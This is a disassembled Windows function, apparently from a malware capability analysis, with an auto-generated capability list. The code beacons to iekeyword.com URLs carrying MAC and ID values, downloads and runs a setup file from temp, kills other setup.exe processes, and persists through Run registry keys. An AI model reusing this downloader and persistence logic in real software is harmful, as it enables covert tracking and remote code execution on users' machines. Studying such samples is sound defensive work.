Function at 0x401810
Capabilities:
Accept command line arguments
Check if file exists
Check mutex on windows
Create directory
Create process on windows
Create thread
Delete directory
Delete file
Delete registry key
Delete registry value
Enumerate process modules
Get common file path
Get installed programs
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2088
call fcn.004169f0
mov eax, dword [0x42f140]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x4264f7
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x4264fd
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
call fcn.00405ac0
mov dword [ebp - 0xfb4], eax
push 2
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00401480
add esp, 4
movsx ecx, byte [ebp - 0x7a0]
mov dword [ebp - 0x2070], ecx
mov edx, dword [ebp - 0x2070]
sub edx, 0x36
mov dword [ebp - 0x2070], edx
cmp dword [ebp - 0x2070], 3
ja case.default.0x401891
mov eax, dword [ebp - 0x2070]
jmp dword [eax*4 + 0x403ef4]
mov dword [0x430254], 6
jmp 0x4018df
mov dword [0x430254], 7
jmp 0x4018df
mov dword [0x430254], 8
jmp 0x4018df
mov dword [0x430254], 9
jmp 0x4018df
push 0x4264fe
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [0x430254], 0
cmp dword [0x430254], 0
jne 0x4018ff
push 0x4264ff
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov eax, 1
jmp 0x403edb
push 0x426500
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426501
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov byte [ebp - 0x630], 0
push 0x63
push 0
lea ecx, [ebp - 0x62f]
push ecx
call fcn.00416a50
add esp, 0xc
push 0x426502
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426503
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426504
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov byte [ebp - 0x10c8], 0
push 0x103
push 0
lea edx, [ebp - 0x10c7]
push edx
call fcn.00416a50
add esp, 0xc
mov dword [ebp - 0x838], 1
lea eax, [ebp - 0x518]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x426505
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [ebp - 0x848]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx edx, word [ebp - 0x842]
push edx
movzx eax, word [ebp - 0x846]
push eax
movzx ecx, word [ebp - 0x848]
push ecx
push str._d_02d_02d
lea edx, [ebp - 0x178]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0x426506
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x17c], 1
push 0x426507
lea eax, [ebp - 0xe98]
push eax
call fcn.00415da0
add esp, 8
mov dword [ebp - 0xfac], 0
jmp 0x401a20
mov ecx, dword [ebp - 0xfac]
add ecx, 1
mov dword [ebp - 0xfac], ecx
cmp dword [ebp - 0xfac], 0x5a
jge 0x401a59
push 0x64
push 0x430180
call fcn.004152c0
add esp, 8
push 0x430180
call fcn.00415920
add esp, 4
cmp eax, 0xc
jne 0x401a4c
jmp 0x401a59
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401a11
cmp dword [ebp - 0xfac], 0x5a
jl 0x401a81
push 0x426513
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push str.000000000000
push 0x430180
call fcn.00415da0
add esp, 8
push 0x43018a
lea edx, [ebp - 0x594]
push edx
call fcn.00415da0
add esp, 8
push 0x426521
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x388]
push eax
push 0x430180
call fcn.00401640
add esp, 8
lea ecx, [ebp - 0xc79]
push ecx
lea edx, [ebp - 0x594]
push edx
call fcn.00401640
add esp, 8
push 0x426522
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
movzx eax, byte [ebp - 0xc79]
xor eax, 0xb1
mov byte [ebp - 0xc79], al
movzx ecx, byte [ebp - 0xc79]
push ecx
push 6
lea edx, [ebp - 0x388]
push edx
call fcn.00401750
add esp, 0xc
push 0x430280
push 6
lea eax, [ebp - 0x388]
push eax
call fcn.004017a0
add esp, 0xc
push 0x43018a
lea ecx, [ebp - 0x594]
push ecx
call fcn.00415da0
add esp, 8
lea edx, [ebp - 0x388]
push edx
push 0x430180
call fcn.00401640
add esp, 8
lea eax, [ebp - 0xc79]
push eax
lea ecx, [ebp - 0x594]
push ecx
call fcn.00401640
add esp, 8
movzx edx, byte [ebp - 0xc79]
xor edx, 0xa0
mov byte [ebp - 0xc79], dl
movzx eax, byte [ebp - 0xc79]
push eax
push 6
lea ecx, [ebp - 0x388]
push ecx
call fcn.00401750
add esp, 0xc
lea edx, [ebp - 0x588]
push edx
push 6
lea eax, [ebp - 0x388]
push eax
call fcn.004017a0
add esp, 0xc
push str.uninstall
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
call fcn.00416960
add esp, 8
test eax, eax
jne 0x401fe6
push 0x64
lea ecx, [ebp - 0xa58]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
lea edx, [ebp - 0xa58]
push edx
push 0x426530
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0x8ae
lea eax, [ebp - 0xa58]
push eax
push 0x426538
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00416205
add esp, 0x10
push 0x64
lea edx, [ebp - 0xa58]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0xe98]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [ebp - 0xe98]
push ecx
lea edx, [ebp - 0xa58]
push edx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x426540
lea eax, [ebp - 0x1250]
push eax
call fcn.00415da0
add esp, 8
mov byte [ebp - 0x124c], 0
push 0x430280
push 0x42654c
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00416205
add esp, 0xc
lea edx, [ebp - 0xa58]
push edx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea eax, [ebp - 0x1250]
push eax
push 0x426558
push 0x104
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00416282
add esp, 0x10
lea edx, [ebp - 0xa58]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x426590
lea eax, [ebp - 0xa58]
push eax
call fcn.00415da0
add esp, 8
push 0x426594
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00415db0
add esp, 8
push 0x426523
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea edx, [ebp - 0xa58]
push edx
call fcn.00415920
add esp, 4
mov dword [ebp - 0x5c4], eax
movzx eax, byte [ebp - 0xc79]
push eax
mov ecx, dword [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0xa58]
push edx
call fcn.00401750
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
mov ecx, dword [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0xa58]
push edx
call fcn.004017a0
add esp, 0xc
lea eax, [ebp - 0x11dc]
push eax
push 0xf003f
push 0
push 0x4265a0
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp - 0x11dc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x11dc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 1
push 0x4265d0
push 0x4265d4
lea ecx, [ebp - 0x588]
push ecx
push 0x4265d8
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x4265e4
push 0x4265e8
lea edx, [ebp - 0x588]
push edx
push 0x4265ec
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 0x4265f8
push 0x426600
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x430180
push 0x42661c
push 0x426624
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typedmac_s
lea eax, [ebp - 0xa58]
push eax
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x401e15
mov ecx, dword [ebp - 0x5c8]
add ecx, 1
mov dword [ebp - 0x5c8], ecx
cmp dword [ebp - 0x5c8], 1
jge 0x401e52
push 0x1e8480
push 0xf4240
push 1
lea edx, [ebp - 0x5c4]
push edx
lea eax, [ebp - 0x180]
push eax
push 0
lea ecx, [ebp - 0xa58]
push ecx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x401e50
jmp 0x401e52
jmp 0x401e06
push 0x42652e
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x42652f
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x64
lea edx, [ebp - 0xa58]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426537
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x11e8]
push eax
push 0x400
lea ecx, [ebp - 0x1758]
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x401fdc
push 0x42653e
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x11e4], 0
jmp 0x401ed2
mov edx, dword [ebp - 0x11e4]
add edx, 1
mov dword [ebp - 0x11e4], edx
mov eax, dword [ebp - 0x11e4]
cmp eax, dword [ebp - 0x11e8]
jae 0x401fcf
push 0x42653f
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov ecx, dword [ebp - 0x11e4]
mov edx, dword [ebp + ecx*4 - 0x1758]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x11e0], eax
cmp dword [ebp - 0x11e0], 0
jne 0x401f1d
jmp 0x401ec3
push 0x104
lea eax, [ebp - 0x11d8]
push eax
push 0
mov ecx, dword [ebp - 0x11e0]
push ecx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
jne 0x401f3d
jmp 0x401ec3
lea edx, [ebp - 0x11d8]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea eax, [ebp - 0x1358]
push eax
call fcn.00415da0
add esp, 8
push 0x426549
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [ebp - 0x11d8]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.setup.exe
lea edx, [ebp - 0x1358]
push edx
call fcn.00423afb
add esp, 8
test eax, eax
je 0x401fa4
push 0x42668c
lea eax, [ebp - 0x1358]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
jne 0x401fca
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, dword [ebp - 0x11e4]
cmp dword [ebp + ecx*4 - 0x1758], eax
je 0x401fca
push 0
mov edx, dword [ebp - 0x11e0]
push edx
call fcn.004011c0
add esp, 8
jmp 0x401ec3
push 0x42654a
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov eax, 1
jmp 0x403edb
push 0x64
lea eax, [ebp - 0xa58]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x426698
lea ecx, [ebp - 0xa58]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call fcn.00423afb
add esp, 8
test eax, eax
je 0x4023e1
push 0x430180
push 0x4266a4
push 0x4266ac
push str.http:__p.iekeyword.com_receive_r_autoidcnt.asp_mer_seq_srealid_scnt_typee1mac_s
lea edx, [ebp - 0xa58]
push edx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x402058
mov eax, dword [ebp - 0x5c8]
add eax, 1
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 1
jge 0x4020a8
push 0x1e8480
push 0xf4240
push 1
lea ecx, [ebp - 0x5c4]
push ecx
lea edx, [ebp - 0x180]
push edx
push 0
lea eax, [ebp - 0xa58]
push eax
call fcn.004149c0
add esp, 0x1c
mov dword [ebp - 0x17c4], eax
cmp dword [ebp - 0x17c4], 1
je 0x4020a4
cmp dword [ebp - 0x17c4], 0xfffffffd
jne 0x4020a6
jmp 0x4020a8
jmp 0x402049
push 0x430180
push 0x426708
push 0x426710
push str.http:__app.iekeyword.com_setup_b.asp_prj_spid_smac_s
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00416205
add esp, 0x14
mov dword [ebp - 0x5c8], 0
jmp 0x4020e6
mov edx, dword [ebp - 0x5c8]
add edx, 1
mov dword [ebp - 0x5c8], edx
cmp dword [ebp - 0x5c8], 3
jge 0x402123
push 0x1e8480
push 0xf4240
push 1
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x5bc]
push ecx
push 0
lea edx, [ebp - 0xa58]
push edx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x402121
jmp 0x402123
jmp 0x4020d7
cmp dword [ebp - 0x5c8], 3
jge 0x4023e1
push 0x426750
mov eax, dword [ebp - 0x5bc]
push eax
call fcn.00416896
add esp, 8
mov dword [ebp - 0x10d0], eax
cmp dword [ebp - 0x10d0], 0
je 0x4023e1
push 0x104
lea ecx, [ebp - 0x950]
push ecx
mov edx, dword [ebp - 0x10d0]
push edx
call fcn.004151b0
add esp, 0xc
lea eax, [ebp - 0x950]
push eax
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
push eax
lea ecx, [ebp - 0x17c0]
push ecx
call fcn.00415da0
add esp, 8
lea edx, [ebp - 0x950]
push edx
call fcn.00415920
add esp, 4
mov esi, eax
lea eax, [ebp - 0x17c0]
push eax
call fcn.00415920
add esp, 4
sub esi, eax
mov byte [ebp + esi - 0x950], 0
lea ecx, [ebp - 0x950]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
mov edx, dword [ebp - 0x10d0]
push edx
call fcn.00415920
add esp, 4
mov esi, eax
lea eax, [ebp - 0x17c0]
push eax
call fcn.00415920
add esp, 4
sub esi, eax
mov ecx, dword [ebp - 0x10d0]
mov byte [ecx + esi], 0
mov edx, dword [ebp - 0x10d0]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
call fcn.00416874
push eax
call fcn.00416874
push eax
call fcn.00416874
push eax
push 0x426754
lea eax, [ebp - 0x19d8]
push eax
call fcn.00416205
add esp, 0x14
lea ecx, [ebp - 0xe98]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea edx, [ebp - 0x19d8]
push edx
lea eax, [ebp - 0xe98]
push eax
call fcn.00415db0
add esp, 8
lea ecx, [ebp - 0xe98]
push ecx
lea edx, [ebp - 0x18d0]
push edx
call fcn.00415da0
add esp, 8
push 0
lea eax, [ebp - 0x18d0]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0x42675c
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00415db0
add esp, 8
lea edx, [ebp - 0x950]
push edx
lea eax, [ebp - 0xe98]
push eax
call fcn.00415db0
add esp, 8
mov dword [ebp - 0x5c8], 0
jmp 0x4022b7
mov ecx, dword [ebp - 0x5c8]
add ecx, 1
mov dword [ebp - 0x5c8], ecx
cmp dword [ebp - 0x5c8], 3
jge 0x4022f4
push 0x1e8480
push 0xf4240
push 0
lea edx, [ebp - 0x5c4]
push edx
push 0
lea eax, [ebp - 0xe98]
push eax
mov ecx, dword [ebp - 0x10d0]
push ecx
call fcn.004149c0
add esp, 0x1c
cmp eax, 1
jne 0x4022f2
jmp 0x4022f4
jmp 0x4022a8
push 0x42654b
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
cmp dword [ebp - 0x5c8], 3
jge 0x4023ba
lea edx, [ebp - 0xe98]
push edx
call fcn.00415920
add esp, 4
test eax, eax
je 0x4023ba
lea eax, [ebp - 0xa58]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 5
lea ecx, [ebp - 0xa58]
push ecx
push 0
lea edx, [ebp - 0xe98]
push edx
push 0x426760
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x19dc], 0
jmp 0x402371
mov eax, dword [ebp - 0x19dc]
add eax, 1
mov dword [ebp - 0x19dc], eax
cmp dword [ebp - 0x19dc], 0x78
jge 0x4023ba
lea ecx, [ebp - 0x18d0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x40238d
jmp 0x4023ba
lea edx, [ebp - 0xe98]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x18d0]
push eax
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
je 0x4023ad
jmp 0x4023ba
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402362
push 0x42658f
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426768
push 0
call fcn.00416896
add esp, 8
mov dword [ebp - 0x10d0], eax
jmp 0x40214a
push 0x42659d
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00415da0
add esp, 8
push 0x430280
push 0x42676c
lea edx, [ebp - 0xa58]
push edx
call fcn.00416205
add esp, 0xc
push 0x42659e
lea eax, [ebp - 0xfc0]
push eax
call fcn.00415da0
add esp, 8
push 0x42659f
lea ecx, [ebp - 0x5a4]
push ecx
call fcn.00415da0
add esp, 8
push 0x426778
push 0x430260
call fcn.00415da0
add esp, 8
lea edx, [ebp - 0xfb0]
push edx
lea eax, [ebp - 0xa58]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0
jne 0x4027e6
mov dword [ebp - 0x838], 0
mov dword [ebp - 0x520], 0x104
lea ecx, [ebp - 0x520]
push ecx
lea edx, [ebp - 0x10c8]
push edx
lea eax, [ebp - 0x51c]
push eax
push 0
push 0x42677c
mov ecx, dword [ebp - 0xfb0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4024bf
mov dword [ebp - 0x520], 0xa
lea edx, [ebp - 0x520]
push edx
lea eax, [ebp - 0xfc0]
push eax
lea ecx, [ebp - 0x51c]
push ecx
push 0
push 0x426780
mov edx, dword [ebp - 0xfb0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x520], 0xa
lea eax, [ebp - 0x520]
push eax
lea ecx, [ebp - 0x5a4]
push ecx
lea edx, [ebp - 0x51c]
push edx
push 0
push 0x426794
mov eax, dword [ebp - 0xfb0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x520], 0xa
lea ecx, [ebp - 0x520]
push ecx
push 0x430260
lea edx, [ebp - 0x51c]
push edx
push 0
push 0x4267a8
mov eax, dword [ebp - 0xfb0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x520], 0x104
lea ecx, [ebp - 0x520]
push ecx
lea edx, [ebp - 0x950]
push edx
lea eax, [ebp - 0x51c]
push eax
push 0
push 0x4267b8
mov ecx, dword [ebp - 0xfb0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4027e6
lea edx, [ebp - 0x950]
push edx
call fcn.00415920
add esp, 4
shr eax, 1
mov dword [ebp - 0x5c4], eax
lea eax, [ebp - 0x388]
push eax
lea ecx, [ebp - 0x950]
push ecx
call fcn.00401640
add esp, 8
push 0x4265ce
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
movzx edx, byte [ebp - 0xc79]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x388]
push ecx
call fcn.00401750
add esp, 0xc
mov edx, dword [ebp - 0x5c4]
push edx
lea eax, [ebp - 0x388]
push eax
lea ecx, [ebp - 0x950]
push ecx
call fcn.00416750
add esp, 0xc
mov edx, dword [ebp - 0x5c4]
mov byte [ebp + edx - 0x950], 0
mov eax, dword [ebp - 0xfb0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4265cf
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x104
lea ecx, [ebp - 0xa58]
push ecx
call fcn.004015e0
add esp, 8
push 0x4267c4
lea edx, [ebp - 0xa58]
push edx
call fcn.00415db0
add esp, 8
push 0x4265d6
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x950]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00415db0
add esp, 8
lea edx, [ebp - 0x950]
push edx
lea eax, [ebp - 0xa58]
push eax
call fcn.00415da0
add esp, 8
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00415920
add esp, 4
mov dword [ebp - 0x5c4], eax
movzx edx, byte [ebp - 0xc79]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00401750
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.004017a0
add esp, 0xc
push 0x4265d7
lea edx, [ebp - 0xe98]
push edx
call fcn.00415da0
add esp, 8
lea eax, [ebp - 0xfb0]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersion_run
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x520], 0x104
lea ecx, [ebp - 0x520]
push ecx
lea edx, [ebp - 0xe98]
push edx
lea eax, [ebp - 0x51c]
push eax
push 0
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp - 0xfb0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x5c0], eax
mov eax, dword [ebp - 0xfb0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00401330
add esp, 4
mov dword [ebp - 0x19e4], eax
cmp dword [ebp - 0x19e4], 0x3c00
jge 0x4027dc
lea edx, [ebp - 0xe98]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x4265e1
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x19e0]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp - 0x19e0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x19e0]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4027e6
mov dword [ebp - 0x17c], 0
push 0x426828
lea ecx, [ebp - 0x10c8]
push ecx
call fcn.00416960
add esp, 8
test eax, eax
je 0x402808
mov dword [ebp - 0x17c], 1
push 0x4265e2
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426830
lea edx, [ebp - 0x810]
push edx
call fcn.00415da0
add esp, 8
lea eax, [ebp - 0x588]
push eax
push 0x426834
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00416205
add esp, 0xc
lea edx, [ebp - 0xfb0]
push edx
lea eax, [ebp - 0xa58]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0
jne 0x40289f
mov dword [ebp - 0x520], 0x64
lea ecx, [ebp - 0x520]
push ecx
lea edx, [ebp - 0x810]
push edx
lea eax, [ebp - 0x51c]
push eax
push 0
push 0x426840
mov ecx, dword [ebp - 0xfb0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0x426844
lea edx, [ebp - 0x810]
push edx
call fcn.00416960
add esp, 8
test eax, eax
jne 0x402959
push 0x4265e3
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x64
lea eax, [ebp - 0xa58]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0x104
lea ecx, [ebp - 0xa58]
push ecx
push 0x426848
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0x8ae
lea edx, [ebp - 0xa58]
push edx
push 0x426850
lea eax, [ebp - 0xe98]
push eax
call fcn.00416205
add esp, 0x10
push 0x64
lea ecx, [ebp - 0xa58]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [ebp - 0xe98]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x4265ea
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0xe98]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
mov eax, 1
jmp 0x403edb
cmp dword [ebp - 0x17c], 0
je 0x402fa8
lea edx, [ebp - 0x630]
push edx
call fcn.00415920
add esp, 4
test eax, eax
jbe 0x402a87
lea eax, [ebp - 0x1bd4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x630]
push ecx
mov edx, dword [ebp - 0x1bd4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x1bd4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0xe98]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea edx, [ebp - 0x1c40]
push edx
call fcn.00415da0
add esp, 8
lea eax, [ebp - 0x1c40]
push eax
call fcn.00415920
add esp, 4
mov byte [ebp + eax - 0x1c44], 0
push 0x4265eb
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
lea ecx, [ebp - 0x1c40]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall_s
push 0x104
lea edx, [ebp - 0xa58]
push edx
call fcn.00416282
add esp, 0x10
lea eax, [ebp - 0xa58]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x104
lea ecx, [ebp - 0xa58]
push ecx
push 0x4268c0
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0x8ae
lea edx, [ebp - 0xa58]
push edx
push 0x4268c8
lea eax, [ebp - 0x1d48]
push eax
call fcn.00416205
add esp, 0x10
lea ecx, [ebp - 0x1d48]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea edx, [ebp - 0x1d48]
push edx
lea eax, [ebp - 0xe98]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 0x64
lea ecx, [ebp - 0xa58]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [ebp - 0x1ac8]
push edx
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 0x1abe]
push eax
movzx ecx, word [ebp - 0x1ac0]
push ecx
movzx edx, word [ebp - 0x1ac2]
push edx
movzx eax, word [ebp - 0x1ac6]
push eax
movzx ecx, word [ebp - 0x1ac8]
push ecx
push str._d_02d_02d_02d_02d
lea edx, [ebp - 0x1a50]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0
push 1
push 0x4268e4
lea eax, [ebp - 0x1a50]
push eax
push 0x430280
push 0x4268e8
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0
push 1
push 0x4268f4
lea ecx, [ebp - 0x1a50]
push ecx
push 0x430280
push 0x4268f8
push SysReAllocString
call fcn.00401370
add esp, 0x1c
push 0x426904
lea edx, [ebp - 0xa58]
push edx
call fcn.00415da0
add esp, 8
push 0x426908
lea eax, [ebp - 0xa58]
push eax
call fcn.00415db0
add esp, 8
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00415920
add esp, 4
mov dword [ebp - 0x5c4], eax
movzx edx, byte [ebp - 0xc79]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.00401750
add esp, 0xc
lea edx, [ebp - 0x630]
push edx
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0xa58]
push ecx
call fcn.004017a0
add esp, 0xc
push 0x104
lea edx, [ebp - 0xe98]
push edx
push str._APPDATA_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
push 0x4265f5
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0x426920
lea eax, [ebp - 0xe98]
push eax
call fcn.00415db0
add esp, 8
push 0x426924
lea ecx, [ebp - 0xe98]
push ecx
call fcn.00415db0
add esp, 8
push 0x64
lea edx, [ebp - 0xa58]
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0xe98]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
